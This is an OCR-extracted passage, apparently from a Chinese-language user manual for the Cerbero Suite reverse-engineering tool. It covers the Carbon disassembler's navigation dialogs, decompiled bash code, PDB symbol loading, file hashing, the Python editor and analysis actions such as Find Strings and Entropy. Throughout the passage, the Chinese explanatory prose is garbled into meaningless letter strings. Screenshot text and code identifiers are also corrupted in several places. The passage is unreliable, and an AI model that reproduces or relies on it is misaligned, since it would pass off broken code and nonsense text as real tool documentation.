0x14000101F lea rcx, [0x1400021c0]
0x140001026 call

0x14000102C nop

0x14000102D

0x14000102D loc_14000102D:
0x14000102D xor eax, eax
0x14000102F add rsp, 0x28
0x140001033 ret

0x140001033

quord ptr [0x140002118]

gweord ptr [0x140002118]

; CODE XREF: 0x14000101D

Carbon RCRMEEIREEIREFNELR Carbon CHEIMBNASD. @FE, XLEIHEHA

I EEN
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B E, RN Carbon RICHEI B NEREAIRL

Intrinsic threats
&2 Native Code: ARM64

BB AT LR 612 E RV RLRIIE. 1E Cerbero Suite F, NREREHFRYIERE
PHREAIUFERZEZ T RCETE, S17HEEHAURIEFEERE RN,
tesh, ERILATER—ROCRIE RAHE S 5,

4171 REF=F

PR Carbon fCHRMEIER S H5 R 4RiF B RICHRBIREL

loc_41D3ES:
_shell name = pcVarl2;
(_dollar_wvars != 0) {
sh_xfree(_dollar vars, "../bash/shell.c", Ox63B);

}

ivar8 = strlen(_shell name);

uvar9 = sh_xmalloc(ivar8 + 1, "../bash/shell.c", 0x63C);
dollar_vars = strcpy(uVar9, _shell name);

(((_shell name == ( *)0x0) |l (*_shell name == '\0')) ||
((*_shell name == '-' && (_shell name[1l] == '\0")))) {
_shell name = ( *) "bash";

}
_shell start_time = time(0);
uvarlé = uStack_2c;

(ustack_2¢ == ustack_18) loc_41D554;

unaff x23 = ( *)ppcstack_20[( )ustack_2c];
(unaff_x23 == ( *)0x0) loc_41D554;
(*( *)unaff_x23 != '-'") loc_41D554;

unaff w26 = 0;

unaff x27 = ( **) &"debug";

unaff x28 = ( *) "debug";

B RmIESFE, &R UM ETSCRERIEFAENET S EIZR Tab #o

Decompile Tab

AT LUER Tob RIERBIFHMEN R THENE TR
MREHTHRBIER, FRERTANE TR TRHN. MRREXE AR
#, AEERE BN EH.

41711 BREIERE

BENRRIFSAEPIERRBIRE, BERA LT XCERERHNTRIRFIIR Y #,

Change Prototype Y
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4172 EdpRIHE

TR LUEE | X R PRI IR IESIR N $2R Eip & ORI E PRIRE UK R 47
FRAEPRRBZMEE,

Rename N

4173 HINFERE

ERIER, BEF LT CREFREMBRFERZESSE ().

Comment

4.17.4 #FrRicfiiE

RIS E R LIRS UERESZE NG RSB R, FTUER LT XERPEEE
REEREKREEXEME,

Flagged Locations ' Add Flagged Location... Ctrl+M
Open Memory View Ctrl+Shift+M Go to Flagged Location...  Ctrl+.

S5, ERILER B ABIRCUE. XBXFIETIFCUERE TIrmRICERER,

4175 TENXKE

BB LUET R _E TR E A’ Make Code’ 3% C BEXMAKE, MRRCHMEFE
BIEMERE, MBS EXFHYTIME R, NREFEEER, TIKE2ITENXEE
FiEERNEIRTEE,

Make Code C

"Make Code’ #1EfEFR RICZRINE BIBAZRHE X85, 2AT, ErLiUESE ETFXRE
1#e$¥° Make Code As...” FiEFEARBERIZEN,

Make Code As...
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IR B R— T 3EE, &R IFEE AR A5,

" Make Code As... - Cerbero Suite -0
Architecture X
x86
64
%86_16
arm32
arm32_le
arm32_be
" hd
cors

4.17.6 TENXIIE

BE XEHE, M LT EEREFIERE Data” 332 D

Data D

IR B R— D IEE, SR TR EPiEFEA AR HEEE,

Data - Cerbero Suite - 0
~

Type

ascii

BEEEVAMEBRIHIERE, UM ETIEREFEE Data Repeat” 3R W #,

Data Repeat (ptre4_le) W

4.17.7 BUHENXIESMEE

BECHEX U EE, &R UM EFXEREARER Undefine’ B#Z U #,

Undefine

c

MRBER, BEFICEE X RICHERBERIEETE. MRKEERE, WRKENIRY
A BEBUHEXIH .
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4.17.8 TENXMEUHTE X F K

BEXMEUHE X RER, ErILER L TIERAER P E X R,

Functions ' Make Function P
Flagged Locations i’ Delete Function

—E@I B0 FEHREEX T — 1 RER, SERILIEK R

4179 SR

ERCAEDED, EaLUBEE Nt FFEMAEXSIH, SEARE T H EHI% Enter
EHITE M. ERFEFRBME D, EHelLUES RS EEREIES .

EiROE L RE R mIFME PR eai (i E, B LUEMA Esc #
BESMEEHMBGENAE, ErLERA L TP B RER,

Go to... ' Go to Address... G
Find 4
. Back Esc
Functions 4
. Follow Return
Flagged Locations 4
i i Entry Point Ctrl+1
Open Memory View Ctrl+Shift+M .
Function Ctrl+2
Decompile Tab Import Ctrl+3
Load Debug Symbols... Ctrl+D Export Ctrl+4
/ Filter... Ctrl+T String Ctrl+5
Ux Open in Hex Editor Label Ctrl+6
Export , Module Ctrl+7
Region Ctrl+8
View 4
Theme , Go to XRef Qrigin... Ctrl+X
Settings Go to Flagged Location...  Ctrl+.
. a; Previous Word Ctrl+Left
r a .
, al Next Word Ctrl+Right

4.17.9.1 btk

ESMENFEMIL, BEM ETFXERERERE Go To Address...” IR G o IHRIFRITH
— IHEE, RIFEINEE XA Python FKiET .

Go To... - Cerbero Suite n
Insert Python Expression:
0x140002118 + §| v
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41792 ANO=

ESMEIANOR, BERALETXHEEFREGo To...” — *Entry Point” #E, 3% Ctrl+1 1R
B, WRMESITH—IMEE, ATFEEERESMIAOR.

Go to Entry Point... - Cerbero Suite -0

Filter.

Address Module Name ol
3019BAED WORDVIEW.EXE _start
325c4124 MSOHEV.DLL _start
6B353REB GDIPLUS.DLL _start
6B3A1160 msimg32.d11 _start
6B3B1CEQ sti.dll _start
6B3F1000 RICHED20.DLL _start
68503610 msi.dll _start
EBBOE45R MSO.DLL _start
6EA41CBO winspool.drv _start
71941EE0Q dwmapi.dll _start
71861420 srvcli.dll _start
71C6DC40 comct132.d11 _start N

Cancel Refresh

FRA Carbon FIRIFFEE RS — P ATIELE, AIFEBIERERE M ERHBRITR,

4.17.9.3 EEK

ESMMEIKE, BEALTXRERRGo To...” — *Function’ 181E, =#&Z Ctl+2 [RiE
B, IBERITH—IIIEE, RIFEEEESMBYRE

Go to Function... - Cerbero Suite -0

Fiter

Address Module Name D)
00443FF4 e1f-Linux-ARM64-bash initialize_job_control
00444374 e1f-Linux-ARME4-bash stop_pipeline
00444c54 e1f-Linux-ARME4-bash delete_all jobs
00444088 e1f-Linux-ARM64-bash _jobs
0044484C e1f-Linux-ARM64-bash _jobs
00444F04 e1f-Linux-ARM64-bash freeze_jobs_list
00444F18 elf-Linux-ARM64-bash unfreeze_jobs_list
00444F28 elf-Linux-ARM64-bash set_job_control
00444F58 elf-Linux-ARM64-bash without_job_control
00444F9C e1f-Linux-ARM64-bash end_job_control
00444FFC e1f-Linux-ARM64-bash restart_job_control
00445028 e1f-Linux-ARME4-bash set_sigchld_handler
00445038 e1f-Linux-ARME4-bash close_pgrp_pipe
00445048 e1f-Linux-ARME4-bash save pgrp pipe v

oK Cancel Refresh
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41794 SN

BSMEISAHN

REER LRFRITH—TIEE, ATEERESMNFAT S,

41795 S

) xavl =]

5,

EER ETXEREFRGo To...” — “Import’ ¥4E, THIZ Ctrl+3

Go to Import... - Cerbero Suite

“oEN

Fiter.
Address Module ordinal Name ~
004D6028 elf-Tinux-ARM64-bash 00000000 getcwd
004D6030 elf-Linux-ARM64-bash 00000000 freeaddrinfo
004D6038 elf-Linux-ARM64-bash 00000000 setuid
004D6040 elf-Linux-ARM64-bash 00000000 strtoul
004D6048 elf-Linux-ARM64-bash 00000000 strlen
00406050 elf-Linux-ARM64-bash 00000000 getpeername
004D6058 elf-Linux-ARM64-bash 00000000 fputs
004D6060 elf-Linux-ARME4-bash 00000000 _ sprintf chk
004D6068 elf-Linux-ARM64-bash 00000000 mbstowcs
004D6070 elf-Linux-ARM64-bash 00000000 exit
004D6078 elf-Linux-ARM64-bash 00000000 dup
00406080 elf-Linux-ARM64-bash 00000000 tcsetpgrp v
<l o - . >
Cancel Refresh

ESMISEHNFTS, BEALTXHEEFRH Go To...” — *Export’ 121, IE Cul+4

REER, RESITH—IMEE, ATEERESMNTEES,

© 2024 Cerbero Labs

Go to Export... - Cerbero Suite

“oEN

Fiter.

Address Module Ordinal N
00420874 elf-Linux-ARM64-bash 00000000 push stream
00420720 elf-Linux-ARM64-bash 00000000 pop_stream
00420820 elf-Linux-ARM64-bash 00000000 stream on_stack
00420858 elf-Linux-ARM64-bash 00000000 save_token_state
004208R8 elf-Linux-ARM64-bash 00000000 restore_token_state
004208DC elf-Linux-ARMé&4-bash 00000000 free pushed_string input
004208E0 elf-Linux-ARM64-bash 00000000 gather here documents
00420960 elf-Linux-ARME4-bash 00000000 reset parser
00420R14 elf-Linux-ARM64-bash 00000000 find reserved word
00420R54 elf-Linux-ARM64-bash 00000000 history delimiting_chars
00420c80 elf-Linux-ARMé&4-bash 00000000 get_current prompt level .
< T T C >

Cancel Refresh
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4179.6 FHH

ESMEIFAH, HEALTXEREFRIGo To...” — *String” #2F, IR Ctrl+5 REE
o LLRFRITH—TIHEE, AFEERESMANFA S

_oEm

Go to String... - Cerbero Suite

Address Module Text A
000000014034F44C  ntoskrnl.exe <
000000014000B840  ntoskrnl.exe \t
000000014034F358 ntoskrnl.exe 4

0000000140154280 ntoskrnl.exe \Registry\Machine\System\CurrentControlset\Control
0000000140154CA0 ntoskrnl.exe s1
0000000140152770 ntoskrnl.exe \Registry\Machine\System\CurrentControlset\Control

0000000140153E20 ntoskrnl.exe

MiniNT

0000000140154040 ntoskrnl.exe

0000000140153F20 ntoskrnl.exe
000000014034F444 ntoskrnl.exe 2
0000000140152230 ntoskrnl.exe \Registry\Machine\System\CurrentControlset\Control
0000000140154F60 ntoskrnl.exe AlternateCodePage
0000000140152500 ntoskrnl.exe \Registry\Machine\System\CurrentControlset\Control

0000000140152580 ntoskrnl.exe \Registry\Machine\System\CurrentControlset\Service

0000000140628708 _ntoskrnl -

oK Cancel Refresh

IRENFHEINRNESABITIEPIRFINERRENFRFE, BERTELANF
FFERIM, 1E/EA Find Strings” ¥&1F,

4179.7 %

BEMIGE, BEALTXEREFRGo To...” — *Label’ #1F, TIZ Ctrl+6 REEHE

LERFRTHA—TIEE, AFEERESMBRE.

Go to Label... - Cerbero Suite -0 -

Filter.

Address Module Name A
0041C1E8 elf-Linux-ARM64-bash  _init
0041D090 elf-Linux-ARM64-bash  main
0041E768 elf-Linux-ARM64-bash  _start
0041EECT elf-Linux-ARM64-bash  exit shell
0041EFéC elf-Linux-ARM64-bash sh_exit
0041EF78 elf-Linux-ARM64-bash  shell is restricted
0041EFEQ elf-Linux-ARM64-bash  maybe_make_restricted
0041F080 elf-Linux-ARM64-bash  disable priv mode
0041F0CO elf-Linux-ARM64-bash  unbind args
0041F0DC elf-Linux-ARMG4-bash  unset_bash_input
0041F144 elf-Linux-ARM64-bash  get_current_user_info
0041F48C elf-Linux-ARM64-bash  parse_command N

Cancel Refresh

S5REHFNEARE, mEFIREERSRERKNFZE.
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4.17.9.8 18R

ESMINER, HFEHA L TXHEEFH Go To...” — "Module’ #E, % Cul+7 REER,
LEIRFSTHA—TIEE, AFEERESMBVRR,

Go to Module... - Cerbero Suite - O R

Name

ooooo

|Anaiyze moduk| | Load PDB | Dowmioad and oad PDB  Dovbad and bad al PDBs

HEIHEER RIS B S ERRBIAE 0. LEIhREEREFHAER L XPEF3IE R,
EAERA= B0 ItHh, MEETRME T MNEEEHTTS BIED,

4.17.9.9 HWERXE

BESMBIRNEFEXE, HEALTXREPRHGo To..” — *Region’ #&1F, ZI& Ctrl+8 IR
g, IHRFRITA—TINEE, AIFEEERESMBIIANEXE,

4.17.9.10

Go to Region... - Cerbero Suite = g

Fiter
start End Module Flags Name

30000000 30000400 WORDVIEW.EXE R headers
30001000 3065C00R WORDVIEW.EXE RX .text
3065D000 30681FFC WORDVIEW.EXE RW dat.
30682000 3068328¢C WORDVIEW.EXE R £l
30684000 30684004 WORDVIEW.EXE RW dat
30685000 30880978 WORDVIEW.EXE R .rsrc
3250000 325C0400 MSOHEV . DLL R head:
325C1000 325CE0F4 MSOHEV. DLL RX .text
325CF000 325CF790 MSOHEV.DLL RW dat.
32500000 32500868 MSOHEV . DLL R .rsrc
6BLF0000 €B1F0400 GDIPLUS.DLL R head:
6B1F1000 6B35FOAL GDIPLUS.DLL RX .text

Cancel Refresh

X X5|H

SRERMIBRAERZ I R5I AN, AJLUEE ETXRERHGo To...” — *Go to XRef
Origin’ ¥ Ctul+X RIEBREESIAFKR, WEESITH—IWEE, RAIFEERES
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ABYRZ X 51 Ao

Go to XRef Origin for 0x14052A770 - Cerbero Suite -0
Fiter.
Direction Type Address Module Text
DATA 000000014032F9A0 ntoskrnl.ex: NA
t COND  00000001403BAB89 ntoskrnl.exe NA
t JUMP 00000001403BAEAB ntoskrnl.ex: NA

0K Cancel Refresh

4.17.10 ‘RIBFD

1SR LUEE R BB Edit Bytes® #FE#% E BERCRPRIEFTo

Edit Bytes E

ESOCRPNF TASEMERIEN . BRIEREXERHNFT, ERILUERE Open
in Hex Editor” M_ETF3ERBHRFTTIEIE.

41711 REME

B THEREE TR B 7S BIANE , 18 M £ T XS EHIERE Open Memory
View’, B3Z Ctrl+Shift+M [REEZE,

Open Memary View Ctrl+Shift+M

4.17.12 MERRFS

TR S T LU IRRVIFRIIEE &, WeILU@Ed £ T X3 E PR Load Debug
Symbols...” #{EEEA Cul+D [REEFEME,

Load Debug Symbols... Ctrl+D

AT S A LUMEE NS, BT A% PDB, FILAMEERRM_E T,

Load PDB Download and load PDB| Download and load all PDBs
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MEFAIRAF S B, ERLUERREMNFARGSHIAN £, MREFISNGH, AU
AREBRHEFANEI B KX HIE A Carbon SOCRINE kX4, EiNGEEIXEFETH
KX ASNG, LRI,

Import PDB data structures into the local header of the Carbon disassembly -

Don't import PDB data structures

Import PDB data structures into the local header of the Carbon disassembl )
Ana : - DBs

Import PDB data structures into the global header of the current project

4.17.13 )% HEX 4miE2E

BREBEREXGEPNFT, EaLUM ETXEREAEE Open in Hex Editor’,

Ux :Open in Hex Editor

IR F SRR IEEFEEE FNREX S, HERTCEFICTPIERIMIET hex fiE2E
PHHE. AT, ERILUER hex fABIMENRI Mo

4.17.14 iZE

EE] LUBE TR BB Settings” BT R LRI E N RIFIZE.

:Settings

41715 FE/H

Carbon FCRMEI T LLUEFRERENBIEFERI D AR i, EaJIM ETXEE
B rEFE R,
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418 NXHFEEME

XHEEMEETREXFEXHRANR (IXHHER) HFHAEE. XERETR
HEWEDY hex MIXATRN, HZFHINE hash BIHE,

il Name Value
0x Hex Name notepad.exe
Path C:\Windows\notepad.exe
? Text Size 216 KBs (221184 bytes)
[@ Hashes File Type exe File
b Medialnfo Detected Format PE
Created Thu Mar 5 12:48:28 2020
40 e Modified Thu Jul 9 18:13:49 2015
Accessed Thu Mar 5 12:48:28 2020
Attributes
Owner Trustedinstaller
Permissions Trustedinstaller - Permissions: Read Write Execute Delete

Administrators - Permissions: Read Execute

SYSTEM - Permissions: Read Execute

Users - Permissions: Read Execute

ALL APPLICATION PACKAGES - Permissions: Read Execute

MD5 Double click here to calculate the hash
SHA-1 Double click here to calculate the hash
SHA-256 Double click here to calculate the hash

HITRKBARRFTENE hash £BY, SE/R1% hash BIAMMIRA UUEFLEER,

MD5 Double click here to calculate the hash

SHA-1 0BB93B2ABA9B677578CB1CACATE39678DIF6B6TE
SHA-256 Double click here td Humanized: cold-edward-mango-november

SHA-384 Double click here to calculate the hash
SHA-512 Double click here to calculate the hash
SHA3-224 Double click here to calculate the hash

te5h, XHHEBAEER LUBE RER Y RINEE,

4.18.1 XHIIFE

3‘(14:1E.UMIE’J NRADRRENEXHIIFEFA AR, EIIAXGHER
B, ATLUBEIRE Info’ IHAEEHFHAES.

a Info

© 2024 Cerbero Labs 81



IR IR S A IHEE RIS B AL

]

M2

~
d

o

Select file... - Cerbero Suite “
8 C:\Windows. V@ t B
& My Computer Name Size Type  Modified A
~
& h pyw.exe 9047 KBS exe File 8/30/2021 8:35 PM
i Desktop | regedit.exe 151 KBs. exe File 10/29/2014 2:12 AM
i Documents setupactog 3955KBs  log File 11/8/2023 1:57 PM
i Downloads setuperrlog 0 bytes log File 8/22/2013 3:46 PM
splwowsd.exe 1265KBs  exeFile 8/9/20228:22 PM
Starterxml 3505KBs  xmlFile 8/22/2013 7:51 AM
system.ini 219bytes  iniFile 8/22/2013 2:25 PM
twain_32.dl 53 KBs dilFile  10/29/2014 1:34 AM
vmgcoinstalllog 2659KBs log File 8/22/2013 3:47 PM v
Fie name: regedt.exe Open
Fies of type: |Al Fies (*) - cancel
= Info
| il Overview Name Value ~
=i Name regedit.exe
Path C:\Windows\regedit.exe
Text Size 151 KBs (154624 bytes)
@ Hashes File Type exe File
» Mediainfo || Detected Format  PE
Created Thu Jun 4 12:20:55 2015
AR Modified Wed Oct 29 02:12:30 2014
Accessed Thu Jun 4 12:20:55 2015 v
Analyze Hex Editor

419 XHFRHEME

XH£#Y

SR

4.19.1

ERES,

doc

EFI
firmware
install
install.amd
isolinux
pics

pool

tools
autorun.inf

* g2ldr
> g2ldr.mbr

README.html
README.mirrors.html
README.mirrors.txt
README.source
README.txt

* setup.exe

RINFR

BRI REER FHRRMER R

BB EERAEEES
DR RS 1 B REVIFAE R

il Overview
0x Hex

Text
& Hashes
& Medialnfo
{} YARA

E9E N

1 7c897c2167£77748644493434066ae04
2 d41d8cd98£00b204e9800998ecE8427e
3 92£f23fa61a756726d509282£970c0cS
4 ab7509b8fc267da73a5chb7d840dacd74
5 c£127d3cfd378c6211eb82£227638e40
6
7
8

£ed90870185e£689f! £

f4d3eSeccfaacfcee36e48ea0985bals

7d0b67£4948db65266£b916809549bb0
9 e05c2£b66c8b62£8800c949f1fae2ed6
10 bb419d36b%e75b8e155e63F35%accd2l
11 36630394£72a3b8c9101d8293140e805
12 886ac8c614£3538acedcdd713883dcad
13 214£57159000£78279666d3cbfE6b194
14 55eca6138b2802d7e0adeeeBad734412
15 7d65e9de57a2501b70136a1302e2132d
16 7716£2280cc5135e865£4cd66c147Tce
17 24c643980bcd9bd7851b4£81675£038F
18 £d283146e85211dbeed8004b73beefob
19 0747033e546a1£65p9fe3b96823a0416
20 ae0clde0729eda48cd03783b104094dd
21 9ce36c01£42fed57cad0f841d40bce59
22 9908036a£d186£39c50e299acas2e98e
23 86c66£6£18c5851d8313d2ald9c19ela
24 d1e8b8f04£113£785b3265e15cd408d1
25 2e9430£20p23£0£1ecd8a27d9d4c2618
26 fac3lced189ab4el59a016c199382chb0
27 d3b81175c915bc9ffaTbESacT738edf4d
28 70c36964€9259d03552d50187269183

BXHRY,

./.disk/base_components
./.disk/base_installable
./.disk/cd_type

./.disk/info
./.disk/udeb_include
./EFI/boot/bootx64.efi
./EFI/boot/grubx64.efi
./EFI/debian/grub.cfg
./README . html

. /README.mirrors.html
./README .mirrors.txt

. /README. source

. /README . txt

./autorun.inf

. /boot/grub/efi.img

. /boot/grub/ font.pf2

. /boot/grub/grub.cfg

. /boot/grub/theme/1
./boot/grub/theme/1-1
./boot/grub/theme/1-1-1
./boot/grub/theme/1-2
./boot/grub/theme/1-2-1
./boot/grub/theme/dark-1
./boot/grub/theme/dark-1-1
./boot/grub/theme/dark-1-1-1
./boot/grub/theme/dark-1-2

. /boot/grub/theme/dark-1-2-1
./boot/grub/theme/hl_c.png

gt Ak,

X, SARMETXEREFIERE Add Child Object’, IR Ctrl+E REEH,

& autorun.inf

© 2024 Cerbero Labs

g2ldr
g2ldr.mbr
md5sum.txt
README.html
README.mirr
README.mirr
README.sour
README.txt

Copy

Copy Line

Increase Column Width
Decrease Column Width

Find...
Export
Add Child Object

' Add Root Object

Ctrl+C

Ctrl++
Ctrl+-

Ctrl+F

Ctrl+E

#—El ==} K'fq:{lzl IIJ\*L
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5%, WALUEE LT EREFMBEN R

420 $HAE

REMERTAEITREHEREETER, AIIIMKER, XEREEIRERFEX
ERF = EERERNIE, BWRINIRETENREET.

Warning!

Media elements are rendered through third-
party code which could be the target of

exploits. Alow media content only if you are
sure about the safety of the data or when
running in a virtual environment.

Now || Alowal

TR LM L AREFIZE RFEUEEMENZ2IRE,

421 PYTHON 4Rigse

Python 4R4B28 B XFFILNREM TEXNEBRAME 7, feif@d BE X 21858 E
Ao

X ol
1f

2 £

3

40

5 ateContainerfFromfile (fname)

3 <€.isNull():

7 rn

8 obj = TARObject ()

9 if no

© obj.Load(c) or not obj.ParseArchive():

", offset:", str(entry.offset_data), "file size:", str(entry.size)
s the file
etEntryData (e

& 8] L@ 5 82 A AY”Open New Python Editor” I Ctrl+Alt+P RIEEFTH—1
#THY Python ZmiE28.

|" Open New Python Editor Ctrl+Alt+P

© 2024 Cerbero Labs 83



B iRigzsN TR, ERILIM Cerbero Suite BNREREIF S ERRNNEBMIAS, BE(1RE
FEaEMEEMNE, WEREN], HER Cul+E REBERIEITEN .

ww v I v 77 tar_parse ()

BERMAREFINRESE, RAFELAECPREHEHZN, AEERFREFNET.

MABEFMEM AR, SHI—PWEE, MEEFHENAT, EIHEFESRFE—T
XAGT SRS, LUAFBNIGIRERTE PR RIS,

Load Script - Cerbero Suite - o
Filter 1 Pro.Core
2 Pro.PE
Name Al 3
extract_payloads 4 disassembleMSILMethod (fname) :
N 5 c = createContainerFromFile (fname)
flagprot 6 pe = PEObject ()
float cast 7 pe.Load(c) :
8
freqan 9 out = NTTextStringBuffer ()
fuelst 10 out.setIndentsSize (4)
gift 11 tables = pe.MDTables ("#~") # 'tables' refer b
_ 12 pe.DisassembleMSIL (out, 0x06 6000012) # .xET
imgdec 13 print (out.buffer)
longword 14
15 disasser mbleMSILMethod (r"C:\Windows\Microsoft .NET\assembly\GAC_MSIL\System\v4.
mela -
B msil_disasm_sample
mw_ps1_ins_rem_deobf
mw_ps1_ins_rem_encoded_exe
parse_crx
parse_gofuncs
pdb_symbol.visitor v]|« >
Coc

ImiBESSTIT B ThSTAINEE, AIfEA Ctrl+Space IREEFEE.

14 v = proContext().getCurrentinalysisview()
15 v.isValid():

1é view = SiliconSpreadsheetWorkspaceView (v)
17 helper = EmulatorHelper ()
18 emu = view.getExcelEmulator ()

19 emu. 5e|
20 Sl setHelper _
21 PTY setMaxCallStackDepth ind view")

setVerbose
setWait
setWorkspace

tb5h, miBSSTERMARBSHAHRH T AR T

10 # load the file as PDF
11 pdf = PDFCbject()

12 pdf. Load(c) :

13 print("e invali
14
15 # par
16 cb
17 #
18
19
20 # t le

21 pdf Setobject'rable(abjtable)
22 # process PDF encryption

23 pdf ProcessEncry’ptlon() :

pp| BuildObjectTable(xref_offset: int=INVALID_STREAM_OFFSET) -> PDFQObjectTable

eates a PDF object table.
TRalLY
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4.22 12(E

1#21E=E Cerbero Suite PRIBEZNYT B, UHSIRMEMSEAENFE. efNBEBELT
UM, FIRIESATLEINDEE N RIS IR HEAMVIRIE, XMENIEAITRITS
MiR(E, NERBEIENXASEAMLES, ES RN, HINEZHEBIERERF

AFEBRMITRB TR IERRENE. Lo, BRIEEZIFERMREIR, BEXEARESE.
frelds. (HESEMIAERLS,

A LU ERBHITIRME, BOBTIRER (CultR) FTHHRIEXIEE,

TR LUEE 4% 1 R IR 5514 8 2 2 BT Rk

© 2024 Cerbero Labs

Actions | Views Tools Help
Execute Action...
Execute Script...
Open New Python Editor

PE
JavaScript
Online
Python
Reversing
Unpacker
Views
YARA

Execute Action... - Cerbero Suite
Instaled Editor
["] Show disabled actions

Fiter.

Ctrl+R
Ctri+Alt+R
Ctrl+Alt+P

* v ¥ ¥ w ¥ ¥ ¥

PE
Address Converter
Jump to Entry Point
Display Layout Ranges

Bytes to Text
Cryptography

String Decrypter
Data

Entropy

File Miner

Find Strings

Magic Information
Emulate

Emulate Windows shellcode
JavaScript

Debug JavaScript

- 0 0 0

OK Cancel

R

SERRIRIE KiREIRiC A=
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RHE TS MRERRRERREN LT XERENTE.

77 Al AN 2?0 A3 Al AE AR AF 4= nracram,
Copy L ]
Edit
Position
Find
Select
View
Print
Screenshot

S E g T

*r v v v v v v v ¥

Ranges
Layout

Bytes to Text

Find Strings

Duplicate View Ctrl+Shift+D |

To Text Browser View Ctrl+Shift«T |
/ Filter.. Ctrl+T

Add Selection as Child Object Ctrl+E
L Add Selection as Root Object

[ e e e i e e R e e i e e e e R o e e i v« M0+ I . . = O 0 SO == 1

IREINBEERIR M T —1 Python 4RiESS, AIFRNEYCIEE[E BRI,

Execute Action... - Cerbero Suite
Instaled | Edtor
ww ~ B~ [Type here the nam

1 # Insert Python code her

e of the script to automatically save .

BANFIRELIFRFIE R AEE, RAENSIRERENEMEMFTR, Bfd—LE
RERVIRFEDARERN.

4.22.1 FHIRIE(E

IR EERBUER RN XA TR XN kiE, RRERNIIEZ—

a0, FEDAISEIERY, ERIEESAIM—1 baseod RWIBHIF T o IBE! base6d F1F
BESEUHHEMEEXHRERRHEER, AAREEEBESNBEEHEHET
23 LA AT

Conversion
Base64 to Bytes
Hex String to Bytes
Text to Bytes

ERE RV IRIRME, EATLURET base64 FTEHR, FRIBBIRERILAITEMBI 7 dtHl4L
Bl E T
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HE, WRFBEFRIBIBIRRR A, A LR Bytes to Text” RIEERIFE MG, 1L
IR EIRIEFMARED 75 RRID IR, HENXEMEFERERNA.

Conversion
Bytes to Text

4.22.2 ¥UEIR(E

BRIRMEXEE 7 H#HHEMERHRIT, EEP—LHaEEM ETXPER, 5l
Carbon CERFIEAH,

42221 FHH

’Find Strings’ #2{ERITE+7#BIFRER Carbon RICYRRE P RIE,

Data
Entropy
| Find Strings

ZREZETR—TIEE, LEEEEEHRNFTHER,
=AY 2 Il aprinlil: pi =8

E@?géﬁﬁgx il:l _l%l_\ EE§/J \K

Find Strings Options - Cerbero Suite - O
Parameters
Encodng: |UTF-8 ~| Language: | Engish -
Miimum string length: |4 [] Zero terminated Add
Strng Types
Encoding Language Minimum Length Zero Terminated Edit
UTF-8 English 4 No REe
UTF-16 English 4 No
Clear
Reset
Search Cancel

BRIEMUREEDS, ERRIEPEMETNERER

0X Hex Text | Il overview

Offset 01 2 3 4 5 6 17 8 $ A B CDEF
00000000 | fiD 52 90 00 03 00 00 00 04 00 00 00 FF FF 00 00
00000010 | B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 | ...
00000020 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .
00000030 | 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 | ...
00000040 OE 1F BA OE 00 B4 09 CD 21 BB 01 4C CD 21 54 68

<-Format Data

00000050 | 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F
00000060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20
00000070 | 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00
00000080 | 41 21 11 53 05 40 7F 00 05 40 7F 00 05 40 7F 00
00000090 B1 DC 8E 00 0C 40 7F 00 B1 DC 8C 00 79 40 7F 00
00000020 | B1 DC 8D 00 1D 40 7F 00 DC 22 7C 01 16 40 7F 00

Cursor: 0 - (Format Data)

Find Strings
offset size  Encoding Location String
0000004D  0000002C UTE-8 headers IThis program cannot be run in DOS mode. \n$
000000F8 00000004 UTE-8 headers Rich
00000208 00000005 UTE-8 headers: SectionHeader _text
0000022F 00000007 UTE-8 headers: SectionHeader *.rdata
00000257 00000006 UTE-8 headers: SectionHeader @.data
00000280 00000009 UTE-8 headers: SectionHeader .wixburng
000002A7 00000006 UTE-8 headers: SectionHeader @.rsrc
000002CF 00000007 UTE-8 headers: SectionHeader @.reloc

Fiter.
383039 strings found
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HEERPERBEF T RE L ERSMEIZF T HERERNIERFRIN MR,

42222 15

’Entropy’ #R{EIH B 17 Gl M E RAMEASIERBENIE. MRREREEEE, WiTE
TREHEFTANEEHRS.

Data
| Entropy

ZREETRTBNERRE, ATEEERERHBHIXERSM 7 HERE,

01234567 8 9ABCDEF

[> 52 50 00 03 00 00 00 04 00 00 00 FE FE 00 00

B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0 00 o

24 00 00 0
05 40 7E 00 05 40 7E 00
B1 DC 8E 00 0C 40 7F 00 Bl DC 8C 00 79 40 7F 00
B1 DC 8D 00 1D 40 7F 00 DC 22 7C 01 16 40 7F 00

Cursor: 0 Selection: 0 Size: 1B8ESED - (Format Data)

Entropy [Analyss [python-3.9.7-amdé4.exe]] (0 - 1BSESED)
Entropy (0 - 1BS8ESEO)

8
6 _
4
2
0

0 4.768 MBs 9.537 MBs 14.31 MBs 19.07 MBs 23.84 MBs

4.22.3 ASIRIE

XARFEXAER L TXHIETT, RIEERNAIREREEIIRE, SR XA R
NAREINE, REFN, UREFE=H,

Text
Lowercase
Reverse
Strip
Uppercase

4.224 SFERVIRE
HES RN E XS E XX E H,

PE
Address Converter
Jump to Entry Point
Display Layout Ranges
Download PDB
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540, 7547 PE (Portable Executable) AT, B—MRIRIZ(E, RFE VA (B
PAAE) . RVA (FEXTRE#AtE) FRRE ZE#H TR, HRERTUBEIESMEIEKIR

ERAIE,

PE address converter - Cerbero Suite

- oEN

Property

Address

Type
Radix

Address

Type
Radix

Value

00007150
RVA
Hex

00006550
Offset
Hex

On enter Save settings & jump

.

Cancel

K, NFFAERIMITXHERIU (W01 PE. ELF M Mach-O Xf§), #HE—MEIERTLL

EREMEE
ZE58o

4.23 IES

o IIREEBT 7R REMIERENME, NMEBM T BE

a Analysis [python-3.9.7-amd64. exe] 0x PE Layout: [python-3.9.7-amd64.exe] ]
offset 0 1 2 3 4 5 6 7 8 9 A B C D E F ASCII
00000000 4D SA 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 . <-DOSHeader
00000010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00
00000040 ' OE 1F BA OE 00 B4 09 CD 21 B8 01 4C CD 21 54 68
69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F  is.program.canno
